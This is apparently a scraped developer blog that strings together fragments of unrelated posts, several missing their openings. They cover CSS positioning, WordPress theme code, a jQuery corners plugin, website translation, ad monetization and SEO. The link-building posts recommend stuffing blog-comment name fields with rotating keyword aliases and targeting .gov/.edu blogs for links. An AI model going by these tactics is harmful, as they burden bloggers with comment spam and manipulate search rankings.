This position is the next easiest and not really used much anymore. This position doesn’t take anything from the normal flow of the website but conforms to the browser window. All other elements on the page act like the fixed element doesn’t exist. This is written like this:

.yourclass {
    position: fixed;
}

Position Relative

Relative positioning is positioned relative to its normal position. These elements still hold the same normal flow but are able to be moved and can be overlapped. These elements use the space that they are given. These are written like this:

.yourclass {
    position: relative;
}

Position Absolute

The positioned absolute element is position relative to the parent containing element. All other elements act like the this positioned element doesn’t exist. If you do not have any parent container elements with positions then the position is absolute with the parent container as the html tag. Absolute positioned elements can overlap other elements. This is written like this:

.yourclass {
    position: absolute;
}

Understanding Positions

There are a few things that a lot of people have troubles with when trying to understand positions. The hardest thing to learn is how to control position absolute elements. Say you have a set of code like this:

<div class="container-1">
    <div class="container-2">
        <div class="container-3">
        </div>
    </div>
</div>

Now lets say you would like to see the container-2 and the container-3 to be in different areas. Well all that you would have to do is put a position absolute on them and you can move them where ever you would like. The only issue would be that they will use the html element as their container. So what we would want to do is limit them to only be able to more inside the container-1 element. So we would have to add a position relative to container-1. This means that everything inside container-1 will adopt the container-1′s layout or flow. So say container-1 has a width of 500px and a height of 500px, container-2 and container-3 will work inside of the 500×500 box. Also because container-3 is inside of container-2 it will become the dominant element. Meaning it will be on top.

That brings me to the next part overlapping. How to control what overlaps what. This is done by using a css function called z-index. z-index is like a filing system. Whatever element has the higher z-index ends up being on top of everything else. So lets say that we have a page that looks like this:

<div class="container-1">
    <div class="container-2">
    </div>
    <div class="container-3">
    </div>
</div>

Now with this setup we would like to see container-2 on top of container-3 and in the middle of it. We would first have to give container-1 a position relative. Then give container-2 a z-index of say 2 and container-3 would get a z-index of 1. Now with z-index you can use negative numbers and go as high as 2147483647 in most browsers. Now you won’t find anyone using that high of a z-index. Most people stick with a 9999. Meaning that 9999 is the highest that they will go. That give you the ability to have 9999 elements that are on different levels and you can go negatively also. I try to stick to something like 50. Most website are not going to see 50 elements that need to be positioned on top of everything else. Back to our containers. With giving container-2 and 3 a z-index that means that they start creating a pile/stack/order whatever you would like to call it. Because container 2 has a higher z-index it will be on top. So say you want to put a image on top of another image, this would work.

Using positions can get tricky but as I said in the beginning if you don’t need them I wouldn’t use them. They are however a great thing to learn and mess around with. If you would like to try out each kind of position you can go over to W3Schools, they have a Positioning page that you can try out all the types and change the code.

Adding The Setup Code

One of the things that you have to do to get this feature to be activated is adding the support code in your functions.php file in your theme folder. You can find the code below:

if ( function_exists( 'add_theme_support' ) ) { 
  add_theme_support( 'post-thumbnails' ); 
}

This sets up the default sizes for the featured images. These sizes are 150×150, 300×300, and 640×640, you can also change these sizes in the dashboard under settings->media. Now some people might say that why is this so constricted in sizes. Well it really isn’t you just have to add some more code to activate other sizes. Code for this is below:

if ( function_exists( 'add_theme_support' ) ) { 
  add_theme_support( 'post-thumbnails' ); 
  add_image_size( 'category-thumb', 300, 9999 ); //300 pixels wide (and unlimited height)
  add_image_size( 'real-big-image', 1200, 9999 ); //1200 pixels wide (and unlimited height)
  add_image_size( 'real-small-image', 10, 10 ); //10 pixels wide and 10 pixels height)
}

Now you say that was easy, well yes it was but if you just add that code all you will get is the ability to use those preset image sizes. In order to use these images in your theme you have to add some code to your theme files. Most of the time this will be in your index.php or home.php, another couple files might be your page.php or single.php. You can use these anywhere that you would like in your theme files. Now you might ask how do I use them and what is the code. Well you can find it below:

< ?php if (has_post_thumbnail()) { ?>
   //This can be whatever you want with the image
   < ?php the_post_thumbnail('home-post-thumb'); ?>
< ?php } else { ?>
  //If there is no image
< ?php } ?>

Well that is how you use the new featured image ability that WordPress has. Now you might be thinking how do I add the images so that they work with this sweet new feature. Once you added the first bit of code at the top, all of your pages and post in the dashboard have added a small field that you will find at the bottom right side. Here is a image of what you will be looking for:

Once you click the Set featured image, you will see the image uploader. Now you just have to add your image and make sure that it is big enough for the area/s that you are going to be using it in. Once you get done uploading the image you will see a spot that has insert image and next to it will be a Set as featured image. You will want to click that and it looks like this:

One of the things that you will want to make sure you do before you click the “Use as featured image” is set the size to full. Once you do this you have finished the featured image setup and your pictures should show up in the positions that you put the image code. If you have any questions on this please comment and I will reply to you as fast as possible.

But website translation services can be expensive, and free translation tools can spit out content that’s nearly unreadable. So how do you set out getting your website content translated? How do you know when it’s necessary? And finally, how do you make sure that the content still meets your standards and properly delivers your message?

Deciding Whether You Need to Translate Your Website

One of your first tasks is, of course, deciding whether you really need to target another language at all. It’s not necessarily a wide-open market in any given language, and you might have a great deal of competition. The best way to test the waters before investing in a multilingual website is to run a test PPC advertising campaign, similar to how you might test any new keyword or niche.

• Leave your current site alone at first — you’re just testing traffic with this method so there’s no reason to translate any portion of your website until you get some definite data.
• Purchase or create a simple written PPC ad that is written in the language you’d like to target with a keyword that best describes your site, but puts visitors in a buying mood. For example, if you operate a site advertising wireless Internet services from AT&T, you might target the buying phrase AT&T wireless internet comparison, like this site did with its multilingual PPC campaign.
• Point the advertisement at your English website.
• Record visit data, even though your conversion rate will likely be very low.

If you receive a large number of visitors from the PPC campaign, chances are good that the market is open and a website translation is justified. For this method, we’re not really considering conversions as part of the equation. If you do want realistic conversion data as well, especially if you’re also testing a new keyword target, you might consider creating a landing page in the local language you’re targeting.

Free Website Translation Tools

Free website translation tools are useful for translating content that you don’t expect to pack much of a punch — like article directory submissions or purely SEO content. But free tools can cause significant problems with your translated website. For example, automatic English to Russian translation is notorious for being absolutely unreadable to native Russian speakers. Worse, some tools can cause problems in your website tracking data.

Google Translate: Google Translate is an easy-to-use and free tool that you can choose to install on a portion of your website, or the entire site, depending on your needs. You can choose to translate the copy, or install a tool that allows visitors to hover their cursor over a word for a translation of the single word. The big problem with Google Translate is that it not only looks a little dated with current web design standards, but also sends users away from your website. Once the visitor clicks for the translation, they are sent to Google for the translated page, meaning you lose a great deal of tracking data and linkbacks.

Global Translator: If you run a WordPress site, your best option is probably Global Translator, a WordPress plugin. This translation tool offers 41 different languages, and allows you to choose your engine, including Google Translate, Promt, FreeTranslations, and Babel Fish. This tool is likely the best free tool you’ll find for high-traffic websites that would cost a fortune to translate manually. As a bonus, the tool is very search engine optimization friendly, simply adding small language codes to your existing URLs.

Paid Website Translation Services

If you find that your initial language testing is yielding huge traffic numbers, you might need to consider professional, paid website translation services. A good strategy is to make sure landing pages and key content is professionally translated, while negligible content that’s really mainly for search engines is translated through a free tool. The reason for this is that website translation services can be pricey. Most services range from around $0.10 to $0.18 per word of the original content. At this moment, this blog post is around 800 words. Having this post translated, then, would cost anywhere from $80.00 to $144.00.

If you’re accustomed to paying $0.02 to $0.04 for your English content, paying so much for properly translated content can be a tough pill to swallow. But your conversion pages absolutely have to be properly written. You’ve likely seen content in English that was clearly written by a person that didn’t speak the language very well. How much authority did you place in that page? Was there even a remote chance you’d convert on the poorly translated page when also faced with a well written one?

When you look for paid website translation services, pay close attention to the fee structure. The company should charge per word on the original content, not the translated version. Expect a turnaround time of less than a week for a 10,000 word project, and don’t accept companies that charge more for faster turnaround times.

If you’re careful in your testing and consider how your content should function on your website, you should be able to utilize some free translation tools on your website. In the end, however, it’s best to hire a professional translator to keep your conversions high. You might even hire a second editor from a different company to make sure that the content is up to your standards. But don’t ignore translation of your website altogether — you could be missing out on an additional 47% traffic in your niche.

While it’s often less costly, this same scenario in the online business world happens far too often. Web developers optimize tirelessly to build high traffic volume only to find their bounce rates soaring. If you’re 100% convinced that people are genuinely interested in your product or service (they should be if you’re getting that much traffic), the hard part is over. Making the most of your traffic is not difficult, but it does take a bit of patience and a whole lot of testing.

Give the Readers What They Want

Let’s get something out of the way first: in this post-panda world, spamming still kind of works, and that’s part of the problem. Google has yet to really nail down a lot of the keyword stuffing and content mills that they targeted with Panda, and some web developers are still using the same old SEO content tricks to build traffic. Sure, things are looking much better. When’s the last time you saw a webpage on the front of Google’s SERPs that had nothing but a single keyword repeated over and over again? But the new world of Internet marketing still has the same basic principle it’s always had – create value.

Valuable content (not just words, but images, videos, widgets, etc.) creates trust, which in turn inspires conversions and begins to build a brand. It’s easy to say that web developers need to be focusing on valuable content more than SEO content. But what is valuable content, really? Google’s Amit Singhal published a blog post on May 6th, 2011 discussing what webmasters should be doing to create a high quality site. Among his most important points were:

• Content should feel like it was written by an expert or an enthusiast who knows the topic inside and out.
• Content should be free of errors (grammatical and factual) and make sense stylistically.
• All website content has to be original (Google is also expecting original research, not the same studies cited over and over again).
• A website as a whole should offer substantially more value than its competition.
• Could the content be published in a print magazine or book?

Once you have created unique and valuable content packed full of information, remember that bad monetization can do more harm than good. Website visitors are simply turned off by websites that are loaded with advertisements. If your website looks like it was built purely to get sales, your traffic will be less likely to trust you. So, instead of aggressively putting ads on every page of your site, chose the ads that make the most sense in context of the page.

Choosing the Right Products

Far too many web developers tend to grasp at advertisers. This is especially true with blog owners that simply sell their ad space to the highest bidder (especially with text links). But ask yourself one simple question – does the ad I’m putting in front of the reader make sense?

You would probably be surprised to walk into your local McDonald’s to buy a cheeseburger, only to find out that this particular location specializes only in fine Turkish rugs at discount prices. Why should this be any different online? If you have a page on your website that discusses the advantages of Clear 4G internet, how well do you think an ad for dog food is going to do? Furthermore, aim to keep advertisements in line with your content itself. Insert ads within the content where they make sense, not just in the sidebar. But if your ads are working just fine in the sidebar, don’t just move them right away. We’ll get to split testing next.

If you’re in a niche that has some tough sell products, or you’re having trouble finding the right product to fit your content, you have a few options.

Split Testing and CTAs

Split testing is the process of literally splitting different advertising techniques onto different pages and checking the click rates after a testing period. The length of the testing period depends on the amount of traffic you get on those pages. With a few hundred visitors a day, you’ll have enough data in a few days. Sites with less traffic might take a week or two. Google offers a great website optimizer for split testing.

Another good testing product is the CrazyEgg CTA heatmap. This tool shows you where your visitors are clicking on your web page. I’ve used this tool many times to test my own sites. One interesting thing I found was the amount of clicks I got on the header “About Us” link. You have no idea how tempting it was to redirect that link to an affiliate site, by the way… but something tells me that wouldn’t have turned out very well for me in the end. It’s not a free tool, but the basic plan doesn’t cost any more than your average hosting plan.

Open Up to Your Readers

It doesn’t hurt to ask your audience what they would like to see. If you’ve built a trusting relationship with your audience, they probably won’t mind if you ask them what products and services they would buy on your site. It’s certainly better to ask them than to suddenly see your inbox fill up with complaints about your new pop-ups and peel-aways that you thought they would love.

Most website visitors understand that you can’t offer a quality product for free. More often than not, ads that ask readers to personally try a product tend to do much better than a random advertisement on your sidebar. Try using anchor text like “click here to test the product yourself” to engage your visitors. It’s a pretty good feeling being asked how you feel about a change to a website as a reader, and then seeing the change happen.

A Simple and Clean Overall Look

Rather than bombard a website with many flashy animations or over-the-top artistry, sometimes sticking to the basics just works. You want your customers to understand what your business is all about along with the products and services you business provides. If you make the design too complicated, website visitors will get all distracted by those factors and might totally miss the point or message you’re trying to get across.

Take this simple site http://www.gopromotional.com , on promotional gifts for example. It has a nice, clean look and feel to it that is simple and straightforward. With just a quick glance, you can tell what this company is all about. The navigation bar is well laid out, so this is a smooth and easy browsing experience for the user.

Large, Easy to Find Calls to Action

With your business’ website, you want visitors to take action, whether it’s to contact you for your services or to make a purchase through your store. This can be a lot easier if there’s a bit button or image that acts as a call to action. People love images and are easily drawn to these kinds of things as long as they are designed properly. This is where the split testing comes into play.

One great example is this site http://www.privatejetscharter.net ,on private jets. At the top, the navigation bar allows users to go through different topics on private jets, and at the end of each mini description is a call to action to read more on the subject. In addition to that, below the navigation bar to the right is a call to action for a quote on a private jet trip. The button for this is easily visible, and your eyes are naturally drawn to it.

Split Test and Convert

The above examples clearly show how important it is to split test website designs in order to determine which ones have the best conversion rates. This way, you can take your business to another level.

Other Options

Well I know personally I don’t want my users to have this ability. So I want to have this not display for everyone not just myself. This is not as easy as the other two options but is not that hard also. What you need to do is get access to your functions.php file in your theme folder. Now you need to edit that file and add the following lines of code:

//Disables Admin Bar
add_filter( 'show_admin_bar', '__return_false' );

Now this will disable the admin bar for all users but all users will still see the option if they edit there account. So we also need to hide the option from the user and that will take adding this code to your functions.php file:

//Hide Admin Bar Options
add_action( 'admin_print_scripts-profile.php', 'hide_admin_bar_prefs' );
function hide_admin_bar_prefs() { ?>
<style type="text/css">
    .show-admin-bar { display: none; }
</style>
< ?php
}

Now this will disable the admin bar option and the admin bar for all users. Hope this helped everyone.

Sponsors

To get the best deals in online printing try PsPrint Commercial Printing!

How To Implement Cool Corners

First of all you must pull in jQuery into your website. The best way of doing this is by linking to http://code.jquery.com/jquery-svn.js in your header or footer link this:

//jQuery SVN Updated Version
<script src="http://code.jquery.com/jquery-svn.js" type="text/javascript"></script>

The next thing that you have to do is pull in Dave Methvin corners script. This can be done by downloading the script from Here. This also needs to be added to the header or the footer like this.

//Dave Methvin's
<script src="Location Of File On Your Server" type="text/javascript"></script>

Adding Final Code

In order to get these amazing different corners to work on your web page all you need to do is call out the classes of the spots you want to activate the corners. Also you need to decide which of the many types of corners you would like to use. Yes I said MANY TYPES. Dave Methvin created this script with many different kinds of corners you can choose from. For Instance Rounded, Beveled, Notched, Bite, Dog-ear, Sculpt, Sharp and many more. You can find all of the corner types at jQuery Corner Demo. Now back to the code, once you have decide on the type you need to add this after the Methvin’s script.

//Some Different Examples
<script type="text/javascript">
	jQuery(document).ready(function($) {
		$(".YOUR CLASS").corner("10px");
		$(".YOUR CLASS").corner("bevel 10px");
		$(".YOUR CLASS").corner("notch 10px");
		$(".YOUR CLASS").corner("cool 10px");
		$(".YOUR CLASS").corner("curl 10px");
		$(".YOUR CLASS").corner("sculpt 10px");
	});
</script>

Here is a download able and viewable demo of the script in action that I have created. This demo involves all of the above examples.

jQuery Cool Corners: Cool Corners Demo

Download: jQuery Cool Corners (12)

For even more about this great script I would read up on Methvin’s Gallery and also on Methvin’s Demo.

Development And Consulting

Contact Shane Strong for any of your web development, WordPress theme development, Magento development, PHP, and jQuery needs. You can view my portfolio for some of my work.

• Government and Educational Blogs. It is well known that Google tends to favor links that link out from .gov and .edu websites. This means that any links that you can score from government, university, or k-12 school blogs will most likely make your blog commenting campaigns even more effective. It may be tough to find relevant blogs with a .gov or .edu extension but the power of these links will likely offset the fact that they aren’t relevant.
• Deep Linking with TypePad. Most people build links to their home page. However, best practice dictates that you have lots of links pointed to your interior pages (pages that are not your home page) as well. So how do you get these? Well some blogs will let you put in a URL that points to one of your interior pages (ex. http://www.yoursite.com/interior-page/). TypePad is one of the only blogging platforms that allows you to post these types of URLs in comments but fortunately, lots of people use both the TypePad website itself as well as installing in on their own domain. To find these types of blogs, type in something like this into Google: “[your key word here]” “blog” “typepad” – “comments off”. This will return results that have your keyword mentioned which also have the terms “blog” and “typepad” on the page or in the URLs while also removing any websites that have “comments off” so that you don’t have to filter through as many blogs to find good ones to post on. This is a fabulous way to get interior links!
• Ask Questions. As we mentioned in the last post, you should be submitting comments that aren’t spammy. You should be adding comments that actually add value to the blog site and to the blog post. One of the best ways to do this is by asking questions within your comments. Often times on blogs, there is a check box that you can click which will cause the blog site to automatically send you an email whenever someone responds to your comment. If you are finding blogs relevant to your niche, this is a great way to start a conversation which can result in multiple links to your site and could even create a relationship with other readers or with the blog owner. These relationships can result in other link building opportunities such as getting placed on others’ blog rolls or working on guest posting arrangements.
• Very Your Input in the “Name” Field. You don’t want every single link coming to your website to have the exact same anchor text. To avoid this, you should vary the words that you type into the name field. Here are a few examples
  • Doug @ Best Pet Supplies
  • Doug – Pet Supplies Store
  • Doug Brown ~ Pet Supplies

  I recommend coming up with 5 to 10 of these names that include the keyword terms that you want to get ranked for and then rotating them.

• Save Time By Copying and Pasting. It may seem simple but if you create a document with your 5-10 lines that you want to use in the Name field and the URLs of your website and of the interior pages you want to point links at, you can just copy and paste the text into the appropriate fields. It’ll make the process faster and you’ll get more links!

And there you have it! A few of my best tips for making blog commenting an efficient and effective process. Stay tuned for the next installation of the Link Building 101 series.

- Marketer Matt – King of the Internet

So how can blogs help you get your site ranked higher in Google? Well, most blogs allow people to comment on their blogs. A comment is just that, a comment. They generally appear below a blog post and give the readers of the blog an opportunity to voice their thoughts and opinions. And many blogs automatically create a link that links back to the website or blog of the one who is commenting (that means you!) You just write up your comment on the blog, punch in your name and website URL and submit!

Here are a few quick guidelines that you should keep in mind when commenting on blogs.

1. Make sure the blog links out. Not every blog allows readers to comment. Of the ones that do allow comments, not all of them allow you to enter your website or blog to get a link. Before you bother reading a whole blog post, scroll to the bottom of the post to make sure that the blog allows comments and that it includes a field for you to enter in your URL. If not, don’t waste your time.
2. Comment on blogs that are relevant to your niche. It is reported that Google uses relevancy as a factor in its algorithm. Simply put, if your website is about dog training, links from dog training blogs would probably be the most relevant links to get followed by other dog related blogs. Non-relevant links are still good to get of course, and you should work to get some of these linking to you as well. Just keep the 80/20 rule in mind and get most of your links from blogs related to your niche.
3. Actually write a comment. Yes, you may get away with a comment that says, “great post!” or “good information, I like much” but would you want those types of comments on your blog? Didn’t think so. When you are commenting on blogs it’s best to at least skim the blog post you will be commenting on. Once you are finished skimming, write a brief 2-3 sentence comment that praises the blog. Many blogs are moderated so writing non-spammy comments will keep your comments from getting deleted as often. Also, you may even spark a conversation on the blog that could results to more traffic to your site, partnerships with bloggers, or other great benefits.
4. Put your keywords in the “Name” field. While some people frown on this, it still works. As we’ve learned already, anchor text is important when building links to your site. So when you type in your name you may want to try something like: Doug @ [your non-spammy sounding keywords or your website/company name]. Doug @ Best Pet Supplies sounds fine and will make sense if you are posting on some type of pet related site. Doug – Bird Feeder Cat Food is a little more obvious and makes a blog look spammy which bloggers (including me) don’t really care for.

With these brief tips you should be able to create hoards of links linking back to your site from other relevant sites with relevant anchor text! What more could you ask for in a link? I recommend taking 10-20 minutes a day and getting 5-10 links from blog comments. Over the course of a year you’ll have upwards of 1500 links or more from blog commenting alone!

Stay tuned for Part 2 of Blog Commenting in this series on Link Building!

- Marketer Matt – King of the Internet

Keyword Translation

There are a number of ways to translate your content. The simplest is to install a translation widget like Google Translate, allowing visitors to translate content to a language of their choice at the click of a button. Inline translation code provides a more intuitive automatic translation but all machine translation is prone to linguistic, grammatical and contextual mistakes. Using a translation service provided by a native speaker from your target market will help avoid mistakes but this will almost certainly be the most expensive option.

However you decide to translate your content, you should never rely on a straight ‘dictionary translation’ of your keywords. Keywords that are successful in English might not be in another language, as many alternative terms can be used. A literal French translation of “car insurance”, for example, would be “assurance automobile”. This yields very few results on Google’s French keyword tool, whereas alternative terms like “assurance auto” and “assurance voiture” are far more successful.

There’s no need to ditch your carefully researched English keywords entirely. Translate and then use them as a jumping off point to research alternatives, with the assistance of a native speaker if possible, and take a sneaky peek to see which keywords your local competitors are using.

Localization

The ways in which a single language is used can vary from place to place. There are many differences in vocabulary and especially colloquialisms between the English spoken in the UK, USA, India and Australia. Similarly, there are differences between the Spanish spoken in Latin America and that of Spain. If you decide to group territories together by a common language and target them by language alone, you should ensure that your content is able to cross those geographical and cultural divides.

Targeting your markets by country will not only address this problem but will open up a range of options when it comes to SEO. One option is to invest in country-code top level domains (ccTLDs) for your localized sites. Using ccTLDs (such as .de for Germany or .sa for Saudi Arabia) will boost your rankings on Google’s local search engine and any other local competitors. You’ll receive a further boost if you ensure that the site is hosted on a server located within the target country.

You can also use geolocation to identify a visitor’s location by checking the country in which their IP address is registered and then direct them to the appropriate localized site. Establishing links with sites located in the target country will also help with SEO. In practical terms this could involve sourcing local sites that are highly ranked on web traffic information site Alexa and posting, say, forum posts in a Russian site to link back to your own Russian pages.

Subdomains and Subdirectories

If you decide not to invest in ccTLDs you should at least set up your localized content in separate subdomains and subdirectories. An example of a subdomain would be de.example.com and a subdirectory would be example.com/de/. Google has a Geographic Targeting tool in Webmaster Tools that allows you to specify particular countries as the relevant audience for different subdirectories or subdomains.

Other Search Engines

While Google is the most popular search engine in most markets, others are dominant within their own local markets. Baidu is the most popular search engine in China for example, while Seznam is the most widely used in the Czech Republic and Yahoo! has the largest market share in Japan. The principles of SEO are broadly the same for each but there may be small yet significant differences and you should focus on the keyword and other research tools of whichever engine(s) are dominant in your target market.

About the author: Christian Arno is the founder and Managing Director of global Lingo24, a top translation service provider. Launched in 2001, Lingo24 now has over 120 employees spanning four continents and clients in over sixty countries. Contact Lingo24 with a translation request mentioning http://www.shanestrong.com/ before 31 December 2010 and receive a 10% discount on your first order.

Social bookmarking is essentially the same things as bookmarking web pages using your browser with a few exceptions. Social bookmarking sites allow you to save your favorite bookmarked web pages online so that you can access them from anywhere. They are called “social” bookmarking sites because they also allow you to share the web pages you’ve uploaded with your friends or followers.

Okay that’s great, but how do they help you? Well, because these bookmarking sites are online rather than just on your internet browser, they provide links back to your website! Each site is slightly different but here’s a quick list of a few sites to get you started: Diigo, Reddit, Mixx, JumpTags and Delicious. You can find a more comprehensive list here: 125 Social Bookmarking Sites

To start getting your links from these sites simply sign up for their free accounts and start bookmarking your web pages! When prompted, enter in tags for your various bookmarks to help other people find your information. The more other people who bookmark your website, the more links you’ll get so don’t skip this step! (But don’t over-tag your pages either!)

Note: These websites were NOT created for you to just bookmark your own stuff. They are are meant to be places where users share interesting, fun, and valuable information with each other. Because of this, you should seriously consider bookmarking lots of other web pages in addition to your own. The best practice is to bookmark other valuable web pages that are along the same topic or theme of your own web pages so you aren’t just being a self-promoter. This also has the added benefit of increasing the relevancy of the page your link is on which is more of a Link building 200 concept.

Bookmarking your web pages is an easy way to generate links to your website. It is generally a great idea to bookmark every new blog post you make or any other new content that you make on your website. Not only will this get you a few links, it will also help the search engines to quickly find and index your website!

As you’ll quickly find out, bookmarking each page that you have on each of dozens of social bookmarking sites is very tedious and gets old fast. To help you move through the process more quickly, consider using a website like Social Marker to help automate the process.

Stay tuned for Part 3 on Blog Commenting!

- Marketer Matt – King of the Internet